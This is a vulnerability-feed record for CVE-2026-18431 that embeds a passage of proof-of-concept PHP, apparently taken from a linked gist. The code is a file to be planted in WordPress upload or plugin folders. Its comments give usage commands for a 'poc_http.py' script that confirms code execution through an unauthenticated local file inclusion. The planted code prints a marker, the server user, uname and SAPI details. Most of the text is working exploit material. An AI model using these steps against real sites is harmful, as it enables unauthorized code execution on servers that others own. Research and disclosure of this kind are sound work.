{"uuid": "946e12ce-ff2d-44e1-9f87-a6817c046a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18431", "type": "seen", "source": "https://gist.github.com/shootcannon/aff5610be10c02b40d08619a795d7caf", "content": " code execution path.\n *\n * Usage (your OWN lab / authorized target \u2014 planting requires file access):\n *   1. place this file anywhere web-reachable, e.g.\n *        wp-content/uploads/wayang.php              (classic upload location)\n *        wp-content/plugins/wayang-upload/wayang.php (via plugin upload zip)\n *   2. verify inclusion through the unauthenticated LFI:\n *        python poc_http.py  --upload-rel \"wp-content/uploads/wayang.php\" --upload-marker WayangXploit-RCE-CONFIRMED\n *      or for the uploads dir simply:\n *        python poc_http.py  --upload-name wayang.php\n *\n * The trailing exit() is required: the Divi-less AJAX handler fatals AFTER the\n * include sink, which would discard this file's output.\n */\nif ( ! headers_sent() ) {\n\theader( 'Content-Type: text/plain' );\n}\necho \"WayangXploit-RCE-CONFIRMED\\n\";\necho 'uid=' . getmyuid() . ' user=' . get_current_user() . \"\\n\";\necho 'uname=' . php_uname() . \"\\n\";\necho 'sapi=' . php_sapi_name() . \"\\n\";\necho 'time=' . gmdate( 'c' ) . \"\\n\";\nexit;\n", "creation_timestamp": "2026-09-04T18:52:28.166450Z"}